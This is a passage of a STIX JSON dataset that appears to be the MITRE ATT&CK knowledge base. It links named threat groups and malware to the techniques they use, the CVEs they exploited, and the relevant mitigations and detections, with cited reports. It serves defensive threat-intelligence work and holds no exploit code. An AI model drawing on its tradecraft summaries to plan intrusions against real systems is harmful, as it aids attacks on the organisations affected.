2019.","url":"https://www.mandiant.com/sites/default/files/2022-02/rt-apt41-dual-operation.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-03-23T15:27:10.541Z","description":"[APT41](https://attack.mitre.org/groups/G0096) leveraged the follow exploits in their operations: CVE-2012-0158, CVE-2015-1641, CVE-2017-0199, CVE-2017-11882, and CVE-2019-3396.(Citation: FireEye APT41 Aug 2019) ","relationship_type":"uses","source_ref":"intrusion-set--18854f55-ac7c-4634-bd9a-352dd07613b7","target_ref":"attack-pattern--be2dcee9-a7a7-4e38-afd6-21b31ecc3d63","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--bcbe375f-f724-4d85-a797-3a4008f7d1f5","created":"2024-06-11T17:40:47.197Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"SentinelOne INC Ransomware","description":"SentinelOne. (n.d.). What Is Inc. Ransomware?. Retrieved June 5, 2024.","url":"https://www.sentinelone.com/anthology/inc-ransom/"},{"source_name":"SOCRadar INC Ransom January 2024","description":"SOCRadar. (2024, January 24). Dark Web Profile: INC Ransom. Retrieved June 5, 2024.","url":"https://socradar.io/dark-web-profile-inc-ransom/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-06-11T19:08:15.997Z","description":"(Citation: SOCRadar INC Ransom January 2024)(Citation: SentinelOne INC Ransomware)","relationship_type":"uses","source_ref":"intrusion-set--cb41e991-65f4-4668-a65f-f4200545b5a1","target_ref":"tool--c256da91-6dd5-40b2-beeb-ee3b22ab3d27","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--bcbf0e6a-3566-4704-986f-caf0af38741d","created":"2022-09-29T18:11:01.490Z","revoked":false,"external_references":[{"source_name":"DFIR Conti Bazar Nov 2021","description":"DFIR Report. (2021, November 29). CONTInuing the Bazar Ransomware Story. Retrieved September 29, 2022.","url":"https://thedfirreport.com/2021/11/29/continuing-the-bazar-ransomware-story/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-09-29T18:11:01.490Z","description":"During [C0015](https://attack.mitre.org/campaigns/C0015), the threat actors employed code that used `regsvr32` for execution.(Citation: DFIR Conti Bazar Nov 2021)","relationship_type":"uses","source_ref":"campaign--78068e68-4124-4243-b6f4-76e4e5be8a06","target_ref":"attack-pattern--b97f1d35-4249-4486-a6b5-ee60ccf24fab","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"2.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--bcc48bba-95a6-465b-ad37-90e2faee5707","type":"relationship","created":"2019-01-29T19:55:48.154Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://securelist.com/the-epic-turla-operation/65545/","description":"Kaspersky Lab's Global Research and Analysis Team. (2014, August 7). The Epic Turla Operation: Solving some of the mysteries of Snake/Uroburos. Retrieved December 11, 2014.","source_name":"Kaspersky Turla"}],"modified":"2020-03-20T23:49:30.101Z","description":"[Epic](https://attack.mitre.org/software/S0091) encrypts commands from the C2 server using a hardcoded key.(Citation: Kaspersky Turla)","relationship_type":"uses","source_ref":"malware--6b62e336-176f-417b-856a-8552dd8c44e1","target_ref":"attack-pattern--24bfaeba-cb0d-4525-b3dc-507c77ecec41","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--bcc68931-0e79-4dc2-898d-3e553a7a9669","created":"2021-03-08T13:37:30.153Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Qualys LolZarus","description":"Pradhan, A. (2022, February 8). LolZarus: Lazarus Group Incorporating Lolbins into Campaigns. Retrieved March 22, 2022.","url":"https://blog.qualys.com/vulnerabilities-threat-research/2022/02/08/lolzarus-lazarus-group-incorporating-lolbins-into-campaigns"},{"source_name":"CISA MAR-10288834-2.v1 TAINTEDSCRIBE MAY 2020","description":"USG. (2020, May 12). MAR-10288834-2.v1 – North Korean Trojan: TAINTEDSCRIBE. Retrieved March 5, 2021.","url":"https://us-cert.cisa.gov/ncas/analysis-reports/ar20-133b"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-03-14T19:50:23.345Z","description":"[Lazarus Group](https://attack.mitre.org/groups/G0032) has renamed malicious code to disguise it as Microsoft's narrator and other legitimate files.(Citation: CISA MAR-10288834-2.v1 TAINTEDSCRIBE MAY 2020)(Citation: Qualys LolZarus)","relationship_type":"uses","source_ref":"intrusion-set--c93fccb1-e8e8-42cf-ae33-2ad1d183913a","target_ref":"attack-pattern--1c4e5d32-1fe9-4116-9d9d-59e3925bd6a2","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--bccb0bfa-f105-4a07-8078-0bbb7adf9073","created":"2024-09-16T09:00:24.843Z","revoked":false,"external_references":[{"source_name":"Google Cloud APT41 2024","description":"Mike Stokkel et al. (2024, July 18). APT41 Has Arisen From the DUST. Retrieved September 16, 2024.","url":"https://cloud.google.com/blog/topics/threat-intelligence/apt41-arisen-from-dust"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-09-16T09:00:24.843Z","description":"[DUSTTRAP](https://attack.mitre.org/software/S1159) can exfiltrate collected data over C2 channels.(Citation: Google Cloud APT41 2024)","relationship_type":"uses","source_ref":"malware--33139388-de0c-49ff-862a-041c315b142d","target_ref":"attack-pattern--92d7da27-2d91-488e-a00c-059dc162766d","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--bccb7ac3-c374-445b-aad2-14991a8641e5","type":"relationship","created":"2020-03-16T15:45:18.139Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2020-03-16T15:45:18.139Z","relationship_type":"subtechnique-of","source_ref":"attack-pattern--24bfaeba-cb0d-4525-b3dc-507c77ecec41","target_ref":"attack-pattern--b8902400-e6c5-4ba2-95aa-2d35b442b118","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--bccf4511-1e01-42ed-ab75-65d558e3fa3f","type":"relationship","created":"2021-01-06T17:58:29.278Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"FireEye SUNBURST Backdoor December 2020","url":"https://www.fireeye.com/blog/threat-research/2020/12/evasive-attacker-leverages-solarwinds-supply-chain-compromises-with-sunburst-backdoor.html","description":"FireEye. (2020, December 13). Highly Evasive Attacker Leverages SolarWinds Supply Chain to Compromise Multiple Global Victims With SUNBURST Backdoor. Retrieved January 4, 2021."},{"source_name":"Check Point Sunburst Teardrop December 2020","url":"https://research.checkpoint.com/2020/sunburst-teardrop-and-the-netsec-new-normal/","description":"Check Point Research. (2020, December 22). SUNBURST, TEARDROP and the NetSec New Normal. Retrieved January 6, 2021."},{"source_name":"Microsoft Deep Dive Solorigate January 2021","url":"https://www.microsoft.com/security/blog/2021/01/20/deep-dive-into-the-solorigate-second-stage-activation-from-sunburst-to-teardrop-and-raindrop/","description":"MSTIC, CDOC, 365 Defender Research Team. (2021, January 20). Deep dive into the Solorigate second-stage activation: From SUNBURST to TEARDROP and Raindrop . Retrieved January 22, 2021."}],"modified":"2021-01-25T18:11:07.713Z","description":"[TEARDROP](https://attack.mitre.org/software/S0560) was decoded using a custom rolling XOR algorithm to execute a customized [Cobalt Strike](https://attack.mitre.org/software/S0154) payload.(Citation: FireEye SUNBURST Backdoor December 2020)(Citation: Check Point Sunburst Teardrop December 2020)(Citation: Microsoft Deep Dive Solorigate January 2021)","relationship_type":"uses","source_ref":"malware--32f49626-87f4-4d6c-8f59-a0dca953fe26","target_ref":"attack-pattern--3ccef7ae-cb5e-48f6-8302-897105fbf55c","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--bcd1d261-0228-468f-b02b-52e6784e2491","created":"2017-05-31T21:33:27.058Z","x_mitre_version":"1.0","external_references":[{"source_name":"FireEye EPS Awakens Part 2","url":"https://web.archive.org/web/20151226205946/https://www.fireeye.com/blog/threat-research/2015/12/the-eps-awakens-part-two.html","description":"Winters, R. (2015, December 20). The EPS Awakens - Part 2. Retrieved January 22, 2016."}],"x_mitre_deprecated":false,"revoked":false,"description":"(Citation: FireEye EPS Awakens Part 2)","modified":"2022-07-26T23:33:26.362Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"uses","source_ref":"intrusion-set--d6e88e18-81e8-4709-82d8-973095da1e70","target_ref":"malware--3cab1b76-2f40-4cd0-8d2c-7ed16eeb909c","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--bcd2cfa1-793c-40a7-9920-614539e651a7","type":"relationship","created":"2020-06-29T02:52:31.516Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"ESET ComRAT May 2020","url":"https://www.welivesecurity.com/wp-content/uploads/2020/05/ESET_Turla_ComRAT.pdf","description":"Faou, M. (2020, May). From Agent.btz to ComRAT v4: A ten-year journey. Retrieved June 15, 2020."}],"modified":"2020-06-29T02:52:31.516Z","description":"[Turla](https://attack.mitre.org/groups/G0010) has used net group \"Domain Admins\" /domain to identify domain administrators.(Citation: ESET ComRAT May 2020)","relationship_type":"uses","source_ref":"intrusion-set--7a19ecb1-3c65-4de3-a230-993516aed6a6","target_ref":"attack-pattern--2aed01ad-3df3-4410-a8cb-11ea4ded587c","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--bcd496b7-7e6a-483b-b1d4-f7dc935a563d","type":"relationship","created":"2020-09-23T20:30:55.971Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Trustwave Pillowmint June 2020","url":"https://www.trustwave.com/en-us/resources/blogs/spiderlabs-blog/pillowmint-fin7s-monkey-thief/","description":"Trustwave SpiderLabs. (2020, June 22). Pillowmint: FIN7’s Monkey Thief . Retrieved July 27, 2020."}],"modified":"2020-10-02T17:23:24.563Z","description":"[Pillowmint](https://attack.mitre.org/software/S0517) has collected credit card data using native API functions.(Citation: Trustwave Pillowmint June 2020)","relationship_type":"uses","source_ref":"malware--bd7a9e13-69fa-4243-a5e5-04326a63f9f2","target_ref":"attack-pattern--3c4a2599-71ee-4405-ba1e-0e28414b4bc5","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--bcd66737-6beb-4cf8-9ba1-8a32731d1da1","type":"relationship","created":"2019-10-11T16:13:19.695Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"description":"Carr, N, et all. (2019, October 10). Mahalo FIN7: Responding to the Criminal Operators’ New Tools and Techniques. Retrieved October 11, 2019.","url":"https://www.fireeye.com/blog/threat-research/2019/10/mahalo-fin7-responding-to-new-tools-and-techniques.html","source_name":"FireEye FIN7 Oct 2019"}],"modified":"2019-10-11T16:13:19.695Z","description":"[RDFSNIFFER](https://attack.mitre.org/software/S0416) has used several Win32 API functions to interact with the victim machine.(Citation: FireEye FIN7 Oct 2019)","relationship_type":"uses","source_ref":"malware--065196de-d7e8-4888-acfb-b2134022ba1b","target_ref":"attack-pattern--391d824f-0ef1-47a0-b0ee-c59a75e27670","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--bcd6ba8a-bf2b-4902-bf64-96a1f5c2f5ea","created":"2022-03-30T14:26:51.860Z","x_mitre_version":"0.1","external_references":[{"source_name":"Pfammatter - Hidden Inbox Rules","url":"https://blog.compass-security.com/2018/09/hidden-inbox-rules-in-microsoft-exchange/","description":"Damian Pfammatter. (2018, September 17). Hidden Inbox Rules in Microsoft Exchange. Retrieved October 12, 2021."},{"source_name":"Microsoft Detect Outlook Forms","url":"https://docs.microsoft.com/en-us/office365/securitycompliance/detect-and-remediate-outlook-rules-forms-attack","description":"Fox, C., Vangel, D. (2018, April 22). Detect and Remediate Outlook Rules and Custom Forms Injections Attacks in Office 365. Retrieved February 4, 2019."}],"x_mitre_deprecated":false,"revoked":false,"description":"Monitor executed commands and arguments that may abuse Microsoft Outlook rules to obtain persistence on a compromised system. Microsoft has released a PowerShell script to safely gather mail forwarding rules and custom forms in your mail environment as well as steps to interpret the output.(Citation: Microsoft Detect Outlook Forms) This PowerShell script is ineffective in gathering rules with modified PR_RULE_MSG_NAME and PR_RULE_MSG_PROVIDER properties caused by adversaries using a Microsoft Exchange Server Messaging API Editor (MAPI Editor), so only examination with the Exchange Administration tool MFCMapi can reveal these mail forwarding rules.(Citation: Pfammatter - Hidden Inbox Rules)","modified":"2022-04-20T14:31:38.543Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"detects","source_ref":"x-mitre-data-component--685f917a-e95e-4ba0-ade1-c7d354dae6e0","target_ref":"attack-pattern--3d1b9d7e-3921-4d25-845a-7d9f15c0da44","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--bcd8dfe5-6f81-406c-a06a-7aa83db91a5e","type":"relationship","created":"2022-01-18T18:04:47.216Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"CrowdStrike AQUATIC PANDA December 2021","url":"https://www.crowdstrike.com/blog/overwatch-exposes-aquatic-panda-in-possession-of-log-4-shell-exploit-tools/","description":"Wiley, B. et al. (2021, December 29). OverWatch Exposes AQUATIC PANDA in Possession of Log4Shell Exploit Tools During Hands-on Intrusion Attempt. Retrieved January 18, 2022."}],"modified":"2022-01-18T18:04:47.216Z","description":"[Aquatic Panda](https://attack.mitre.org/groups/G0143) has used publicly accessible DNS logging services to identify servers vulnerable to Log4j (CVE 2021-44228).(Citation: CrowdStrike AQUATIC PANDA December 2021)","relationship_type":"uses","source_ref":"intrusion-set--64b52e7d-b2c4-4a02-9372-08a463f5dc11","target_ref":"attack-pattern--5502c4e9-24ef-4d5f-8ee9-9e906c2f82c4","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--bcdb80d6-8ae4-4283-8abd-e933b498be13","type":"relationship","created":"2020-02-11T18:26:02.003Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2020-02-11T18:26:02.003Z","relationship_type":"revoked-by","source_ref":"attack-pattern--ffe742ed-9100-4686-9e00-c331da544787","target_ref":"attack-pattern--4f9ca633-15c5-463c-9724-bdcd54fde541","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--bcdbb8dc-87e5-4f29-8ff2-d660e53015cb","type":"relationship","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Unit 42 SeaDuke 2015","description":"Grunzweig, J.. (2015, July 14). Unit 42 Technical Analysis: Seaduke. Retrieved August 3, 2016.","url":"http://researchcenter.paloaltonetworks.com/2015/07/unit-42-technical-analysis-seaduke/"}],"modified":"2020-03-17T02:32:57.961Z","description":"[SeaDuke](https://attack.mitre.org/software/S0053) is capable of persisting via the Registry Run key or a .lnk file stored in the Startup directory.(Citation: Unit 42 SeaDuke 2015)","relationship_type":"uses","source_ref":"malware--67e6d66b-1b82-4699-b47a-e2efb6268d14","target_ref":"attack-pattern--9efb1ea7-c37b-4595-9640-b7680cd84279","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--bcdd57cf-632f-4fc5-a8e8-d3137cb832e8","type":"relationship","created":"2019-07-18T17:27:05.228Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"win10_asr","url":"https://docs.microsoft.com/microsoft-365/security/defender-endpoint/attack-surface-reduction","description":"Microsoft. (2021, July 2). Use attack surface reduction rules to prevent malware infection. Retrieved June 24, 2021."}],"modified":"2021-10-18T12:18:31.205Z","description":"Some endpoint security solutions can be configured to block some types of process injection based on common sequences of behavior that occur during the injection process. For example, on Windows 10, Attack Surface Reduction (ASR) rules may prevent Office applications from code injection. (Citation: win10_asr)","relationship_type":"mitigates","source_ref":"course-of-action--90f39ee1-d5a3-4aaa-9f28-3b42815b0d46","target_ref":"attack-pattern--43e7dc91-05b2-474c-b9ac-2ed4fe101f4d","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--bcdf1f9a-536d-4f86-a265-66b55ba0b7c7","created":"2023-01-26T00:02:20.496Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"SentinelLabs Metador Sept 2022","description":"Ehrlich, A., et al. (2022, September). THE MYSTERY OF METADOR | AN UNATTRIBUTED THREAT HIDING IN TELCOS, ISPS, AND UNIVERSITIES. Retrieved January 23, 2023.","url":"https://assets.sentinelone.com/sentinellabs22/metador#page=1"},{"source_name":"SentinelLabs Metador Technical Appendix Sept 2022","description":"SentinelLabs. (2022, September 22). Metador Technical Appendix. Retrieved April 4, 2023.","url":"https://docs.google.com/document/d/1e9ZTW9b71YwFWS_18ZwDAxa-cYbV8q1wUefmKZLYVsA/edit#heading=h.lmnbtht1ikzm"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-04-05T16:08:18.901Z","description":"(Citation: SentinelLabs Metador Sept 2022)(Citation: SentinelLabs Metador Technical Appendix Sept 2022)","relationship_type":"uses","source_ref":"intrusion-set--bfc5ddb3-4dfb-4278-8928-020e1b3feddd","target_ref":"malware--df350889-4de9-44e5-8cb3-888b8343e97c","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--bcdf2779-c5a2-40b3-88b6-0857711c1cfe","type":"relationship","created":"2018-04-18T17:59:24.739Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"FireEye Periscope March 2018","description":"FireEye. (2018, March 16). Suspected Chinese Cyber Espionage Group (TEMP.Periscope) Targeting U.S. Engineering and Maritime Industries. Retrieved April 11, 2018.","url":"https://www.fireeye.com/blog/threat-research/2018/03/suspected-chinese-espionage-group-targeting-maritime-and-engineering-industries.html"},{"source_name":"CISA AA21-200A APT40 July 2021","url":"https://us-cert.cisa.gov/ncas/alerts/aa21-200a","description":"CISA. (2021, July 19). (AA21-200A) Joint Cybersecurity Advisory – Tactics, Techniques, and Procedures of Indicted APT40 Actors Associated with China’s MSS Hainan State Security Department. Retrieved August 12, 2021."}],"modified":"2021-08-19T16:54:10.144Z","description":"(Citation: FireEye Periscope March 2018)(Citation: CISA AA21-200A APT40 July 2021)","relationship_type":"uses","source_ref":"intrusion-set--7113eaa5-ba79-4fb3-b68a-398ee9cd698e","target_ref":"malware--049ff071-0b3c-4712-95d2-d21c6aa54501","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--bce07a45-9955-4466-86ad-35fef741087d","type":"relationship","created":"2020-03-18T19:53:37.592Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://github.com/PowerShellEmpire/Empire","description":"Schroeder, W., Warner, J., Nelson, M. (n.d.). Github PowerShellEmpire. Retrieved April 28, 2016.","source_name":"Github PowerShell Empire"}],"modified":"2021-04-09T14:47:00.131Z","description":"[Empire](https://attack.mitre.org/software/S0363) can acquire local and domain user account information.(Citation: Github PowerShell Empire)","relationship_type":"uses","source_ref":"tool--3433a9e8-1c47-4320-b9bf-ed449061d1c3","target_ref":"attack-pattern--25659dd6-ea12-45c4-97e6-381e3e4b593e","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--bce3518d-52d4-4dc3-9de0-4d801048220d","type":"relationship","created":"2020-02-21T17:07:54.282Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Tilbury Windows Credentials","url":"https://www.first.org/resources/papers/conf2017/Windows-Credentials-Attacks-and-Mitigation-Techniques.pdf","description":"Chad Tilbury. (2017, August 8). 1Windows Credentials: Attack, Mitigation, Defense. Retrieved February 21, 2020."}],"modified":"2020-03-24T20:35:42.621Z","description":"Follow best practices for design and administration of an enterprise network to limit privileged account use across administrative tiers.(Citation: Tilbury Windows Credentials)","relationship_type":"mitigates","source_ref":"course-of-action--9bb9e696-bff8-4ae1-9454-961fc7d91d5f","target_ref":"attack-pattern--1ecfdab8-7d59-4c98-95d4-dc41970f57fc","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--bceada36-e6ba-49b9-b9f8-99e37e6cbf9e","created":"2017-05-31T21:33:27.041Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"FireEye APT28","description":"FireEye. (2015). APT28: A WINDOW INTO RUSSIA’S CYBER ESPIONAGE OPERATIONS?. Retrieved August 19, 2015.","url":"https://web.archive.org/web/20151022204649/https://www.fireeye.com/content/dam/fireeye-www/global/en/current-threats/pdfs/rpt-apt28.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-03-26T17:51:20.419Z","description":"(Citation: FireEye APT28)","relationship_type":"uses","source_ref":"intrusion-set--bef4c620-0787-42a8-a96d-b7eb6e85917c","target_ref":"malware--2dd34b01-6110-4aac-835d-b5e7b936b0be","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--bceb819a-0ab5-412b-9671-de67e980cb77","type":"relationship","created":"2020-06-02T18:46:58.662Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Unit 42 CARROTBAT November 2018","url":"https://unit42.paloaltonetworks.com/unit42-the-fractured-block-campaign-carrotbat-malware-used-to-deliver-malware-targeting-southeast-asia/","description":"Grunzweig, J. and Wilhoit, K. (2018, November 29). The Fractured Block Campaign: CARROTBAT Used to Deliver Malware Targeting Southeast Asia. Retrieved June 2, 2020."},{"source_name":"Unit 42 CARROTBAT January 2020","url":"https://unit42.paloaltonetworks.com/the-fractured-statue-campaign-u-s-government-targeted-in-spear-phishing-attacks/","description":"McCabe, A. (2020, January 23). The Fractured Statue Campaign: U.S. Government Agency Targeted in Spear-Phishing Attacks. Retrieved June 2, 2020."}],"modified":"2020-06-02T19:40:02.004Z","description":"[SYSCON](https://attack.mitre.org/software/S0464) has the ability to use FTP in C2 communications.(Citation: Unit 42 CARROTBAT November 2018)(Citation: Unit 42 CARROTBAT January 2020)","relationship_type":"uses","source_ref":"malware--edf5aee2-9b1c-4252-8e64-25b12f14c8b3","target_ref":"attack-pattern--9a60a291-8960-4387-8a4a-2ab5c18bb50b","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--bced764f-e4f1-43d0-af3b-ae93d607041a","type":"relationship","created":"2020-03-16T15:23:31.073Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2020-03-16T15:23:31.073Z","relationship_type":"subtechnique-of","source_ref":"attack-pattern--fc742192-19e3-466c-9eb5-964a97b29490","target_ref":"attack-pattern--aedfca76-3b30-4866-b2aa-0f1d7fd1e4b6","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--bcedecdf-e98d-4cf7-84a4-d4769a10858d","type":"relationship","created":"2020-11-10T19:27:14.615Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Securelist Brazilian Banking Malware July 2020","url":"https://securelist.com/the-tetrade-brazilian-banking-malware/97779/","description":"GReAT. (2020, July 14). The Tetrade: Brazilian banking malware goes global. Retrieved November 9, 2020."}],"modified":"2020-11-10T19:27:14.615Z","description":"[Javali](https://attack.mitre.org/software/S0528) can read C2 information from Google Documents and YouTube.(Citation: Securelist Brazilian Banking Malware July 2020)","relationship_type":"uses","source_ref":"malware--64122557-5940-4271-9123-25bfc0c693db","target_ref":"attack-pattern--f7827069-0bf2-4764-af4f-23fae0d181b7","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--bcee03c4-6420-4280-8212-c8aa44a13730","type":"relationship","created":"2021-06-18T15:26:55.646Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Unit 42 Siloscape Jun 2021","url":"https://unit42.paloaltonetworks.com/siloscape/","description":"Prizmant, D. (2021, June 7). Siloscape: First Known Malware Targeting Windows Containers to Compromise Cloud Environments. Retrieved June 9, 2021."}],"modified":"2021-08-30T18:53:02.072Z","description":"[Siloscape](https://attack.mitre.org/software/S0623) can send kubectl commands to victim clusters through an IRC channel and can run kubectl locally to spread once within a victim cluster.(Citation: Unit 42 Siloscape Jun 2021)","relationship_type":"uses","source_ref":"malware--4fbd565b-bf55-4ac7-80b4-b183a7b64b9c","target_ref":"attack-pattern--7b50a1d3-4ca7-45d1-989d-a6503f04bfe1","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--bcee230a-c671-4c71-afbf-d6216aeee5b6","type":"relationship","created":"2022-03-23T16:57:13.807Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Lazarus APT January 